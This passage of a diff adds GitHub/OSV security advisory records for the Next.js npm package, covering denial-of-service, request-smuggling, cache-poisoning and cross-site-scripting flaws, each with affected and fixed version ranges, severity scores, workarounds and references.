+ "details": "### Impact\nThe image optimization feature of Next.js contained a vulnerability which allowed for a potential Denial of Service (DoS) condition which could lead to excessive CPU consumption.\n\n**Not affected:**\n- The `next.config.js` file is configured with `images.unoptimized` set to `true` or `images.loader` set to a non-default value.\n- The Next.js application is hosted on Vercel. \n\n### Patches\nThis issue was fully patched in Next.js `14.2.7`. We recommend that users upgrade to at least this version.\n\n### Workarounds\nEnsure that the `next.config.js` file has either `images.unoptimized`, `images.loader` or `images.loaderFile` assigned.\n\n#### Credits\nBrandon Dahler (brandondahler), AWS\nDimitrios Vlastaras",
+ "id": "GHSA-g77x-44xx-532m",
+ "modified": "2026-02-04T03:25:43.295558Z",
+ "published": "2024-10-14T19:45:21Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-g77x-44xx-532m"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47831"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/d11cbc9ff0b1aaefabcba9afe1e562e0b1fde65a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ }
+ ],
+ "related": [
+ "CGA-c4wf-8f54-jxwp"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Denial of Service condition in Next.js image optimization"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ggv3-7p47-pfv8/GHSA-ggv3-7p47-pfv8.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0-beta.0"
+ },
+ {
+ "fixed": "16.1.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ggv3-7p47-pfv8/GHSA-ggv3-7p47-pfv8.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "9.5.0"
+ },
+ {
+ "fixed": "15.5.13"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-29057"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-444"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-17T16:17:15Z",
+ "nvd_published_at": "2026-03-18T01:16:05Z",
+ "severity": "MODERATE"
+ },
+ "details": "## Summary\nWhen Next.js rewrites proxy traffic to an external backend, a crafted `DELETE`/`OPTIONS` request using `Transfer-Encoding: chunked` could trigger request boundary disagreement between the proxy and backend. This could allow request smuggling through rewritten routes.\n\n## Impact\nAn attacker could smuggle a second request to unintended backend routes (for example, internal/admin endpoints), bypassing assumptions that only the configured rewrite destination/path is reachable. This does not impact applications hosted on providers that handle rewrites at the CDN level, such as Vercel. \n\n## Patches\nThe vulnerability originated in an upstream library vendored by Next.js. It is fixed by updating that dependency’s behavior so `content-length: 0` is added only when both `content-length` and `transfer-encoding` are absent, and `transfer-encoding` is no longer removed in that code path.\n\n## Workarounds\nIf upgrade is not immediately possible:\n- Block chunked `DELETE`/`OPTIONS` requests on rewritten routes at your edge/proxy.\n- Enforce authentication/authorization on backend routes per our [security guidance](https://nextjs.org/docs/app/guides/data-security).",
+ "id": "GHSA-ggv3-7p47-pfv8",
+ "modified": "2026-03-19T17:59:01.302251Z",
+ "published": "2026-03-17T16:17:15Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-ggv3-7p47-pfv8"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29057"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.13"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.1.7"
+ }
+ ],
+ "related": [
+ "CGA-w92q-ghc3-3hj2"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Next.js: HTTP request smuggling in rewrites"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-gp8f-8m3g-qvj9/GHSA-gp8f-8m3g-qvj9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.5.1"
+ },
+ {
+ "fixed": "13.5.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-gp8f-8m3g-qvj9/GHSA-gp8f-8m3g-qvj9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "14.0.0"
+ },
+ {
+ "fixed": "14.2.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2024-46982"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-349",
+ "CWE-639"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-09-17T21:58:09Z",
+ "nvd_published_at": "2024-09-17T22:15:02Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nBy sending a crafted HTTP request, it is possible to poison the cache of a non-dynamic server-side rendered route in the pages router (this does not affect the app router). When this crafted request is sent it could coerce Next.js to cache a route that is meant to not be cached and send a `Cache-Control: s-maxage=1, stale-while-revalidate` header which some upstream CDNs may cache as well. \n\nTo be potentially affected all of the following must apply: \n\n- Next.js between 13.5.1 and 14.2.9\n- Using pages router\n- Using non-dynamic server-side rendered routes e.g. `pages/dashboard.tsx` not `pages/blog/[slug].tsx`\n\nThe below configurations are unaffected:\n\n- Deployments using only app router\n- Deployments on [Vercel](https://vercel.com/) are not affected\n\n\n### Patches\n\nThis vulnerability was resolved in Next.js v13.5.7, v14.2.10, and later. We recommend upgrading regardless of whether you can reproduce the issue or not.\n\n### Workarounds\n\nThere are no official or recommended workarounds for this issue, we recommend that users patch to a safe version.\n\n#### Credits\n\n- Allam Rachid (zhero_)\n- Henry Chen",
+ "id": "GHSA-gp8f-8m3g-qvj9",
+ "modified": "2026-02-04T03:45:33.402195Z",
+ "published": "2024-09-17T21:58:09Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-gp8f-8m3g-qvj9"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46982"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/7ed7f125e07ef0517a331009ed7e32691ba403d3"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/bd164d53af259c05f1ab434004bcfdd3837d7cda"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ }
+ ],
+ "related": [
+ "CGA-gc23-jp54-8cg6"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Next.js Cache Poisoning"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gx5p-jg67-6x7h/GHSA-gx5p-jg67-6x7h.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gx5p-jg67-6x7h/GHSA-gx5p-jg67-6x7h.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44580"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:56:38Z",
+ "nvd_published_at": "2026-05-13T18:16:18Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\n\nApplications that use `beforeInteractive` scripts together with untrusted content can be vulnerable to cross-site scripting. In affected versions, serialized script content was not escaped safely before being embedded into the document, which could allow attacker-controlled input to break out of the intended script context and execute arbitrary JavaScript in a visitor's browser.\n\n### Fix\n\nWe now HTML-escape serialized `beforeInteractive` script content before embedding it into the page, preventing attacker-controlled content from breaking out of the inline script boundary.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not pass untrusted data into `beforeInteractive` scripts. If that pattern is unavoidable, sanitize or escape the content before embedding it.",
+ "id": "GHSA-gx5p-jg67-6x7h",
+ "modified": "2026-05-14T20:51:25.401511Z",
+ "published": "2026-05-11T15:56:38Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-gx5p-jg67-6x7h"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44580"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-h76m-2q9m-82h7"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js has cross-site scripting in beforeInteractive scripts with untrusted input"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "15.0.8"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.1.1-canary.0"
+ },
+ {
+ "fixed": "15.1.12"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.2.0-canary.0"
+ },
+ {
+ "fixed": "15.2.9"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.3.0-canary.0"
+ },
+ {
+ "fixed": "15.3.9"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.4.0-canary.0"
+ },
+ {
+ "fixed": "15.4.11"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.5.1-canary.0"
+ },
+ {
+ "fixed": "15.5.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.6.0-canary.0"
+ },
+ {
+ "fixed": "15.6.0-canary.61"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0-beta.0"
+ },
+ {
+ "fixed": "16.0.11"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h25m-26qc-wcjf/GHSA-h25m-26qc-wcjf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.1.0-canary.0"
+ },
+ {
+ "fixed": "16.1.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-400",
+ "CWE-502"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-01-28T15:38:01Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23864](https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.",
+ "id": "GHSA-h25m-26qc-wcjf",
+ "modified": "2026-02-13T00:43:52.836085Z",
+ "published": "2026-01-28T15:38:01Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-h25m-26qc-wcjf"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23864"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/summary-of-cve-2026-23864"
+ }
+ ],
+ "related": [
+ "CGA-3522-gcqm-wf8x"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h64f-5h5j-jqjh/GHSA-h64f-5h5j-jqjh.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "10.0.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h64f-5h5j-jqjh/GHSA-h64f-5h5j-jqjh.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44577"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:56:05Z",
+ "nvd_published_at": "2026-05-13T17:16:23Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\n\nWhen self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the `/_next/image` endpoint that match the `images.localPatterns` configuration (by default, all patterns are allowed).\n\n- If you are using `images.localPatterns`, only the patterns in that array are impacted.\n- If you are using `images.unoptimized: true`, you are NOT impacted.\n- If you are using `images.loader: 'custom'`, you are NOT impacted.\n- If you are using Vercel, you are NOT impacted.\n\n### Fix\n\nWe now apply response size limits consistently to internal image fetches, not just external ones, and fail oversized responses before they can exhaust process memory.\n\nThis can be adjusted using the `images.maximumResponseBody` configuration.\n\n### Workarounds\n\nIf you cannot upgrade immediately, avoid routing large local assets through `/_next/image`, disable image optimization for large or untrusted local files, or block image optimization access to those assets at the edge.\n\nYou can disable using the `images.localPatterns: []` configuration. This will still allow fetching remote images (which is not impacted).",
+ "id": "GHSA-h64f-5h5j-jqjh",
+ "modified": "2026-05-14T20:51:26.606230Z",
+ "published": "2026-05-11T15:56:05Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-h64f-5h5j-jqjh"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44577"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-8jfq-2ff9-76fh"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js has a Denial of Service in the Image Optimization API"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.3.0"
+ },
+ {
+ "fixed": "14.2.34"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0-canary.0"
+ },
+ {
+ "fixed": "15.0.6"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.1.1-canary.0"
+ },
+ {
+ "fixed": "15.1.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.2.0-canary.0"
+ },
+ {
+ "fixed": "15.2.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.3.0-canary.0"
+ },
+ {
+ "fixed": "15.3.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.4.0-canary.0"
+ },
+ {
+ "fixed": "15.4.9"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.5.1-canary.0"
+ },
+ {
+ "fixed": "15.5.8"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.6.0-canary.0"
+ },
+ {
+ "fixed": "15.6.0-canary.59"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0-beta.0"
+ },
+ {
+ "fixed": "16.0.9"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-mwv6-3258-q52c/GHSA-mwv6-3258-q52c.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.1.0-canary.0"
+ },
+ {
+ "fixed": "16.1.0-canary.17"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1395",
+ "CWE-400",
+ "CWE-502"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-12-11T22:49:27Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55184](https://www.cve.org/CVERecord?id=CVE-2025-55184).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.",
+ "id": "GHSA-mwv6-3258-q52c",
+ "modified": "2026-02-04T03:55:54.855562Z",
+ "published": "2025-12-11T22:49:27Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-mwv6-3258-q52c"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nextjs.org/blog/security-update-2025-12-11"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cve.org/CVERecord?id=CVE-2025-55184"
+ }
+ ],
+ "related": [
+ "CGA-3575-p24r-qcp7"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next Vulnerable to Denial of Service with Server Components"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-q4gf-8mx6-v5v3/GHSA-q4gf-8mx6-v5v3.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "15.5.15"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-q4gf-8mx6-v5v3/GHSA-q4gf-8mx6-v5v3.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0-beta.0"
+ },
+ {
+ "fixed": "16.2.3"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-10T15:35:47Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "A vulnerability affects certain React Server Components packages for versions 19.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23869](https://github.com/facebook/react/security/advisories/GHSA-479c-33wc-g2pg). You can read more about this advisory our [this changelog](https://vercel.com/changelog/summary-of-cve-2026-23869).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage. This can result in denial of service in unpatched environments.",
+ "id": "GHSA-q4gf-8mx6-v5v3",
+ "modified": "2026-04-16T23:29:14.079063591Z",
+ "published": "2026-04-10T15:35:47Z",
+ "references": [
+ {
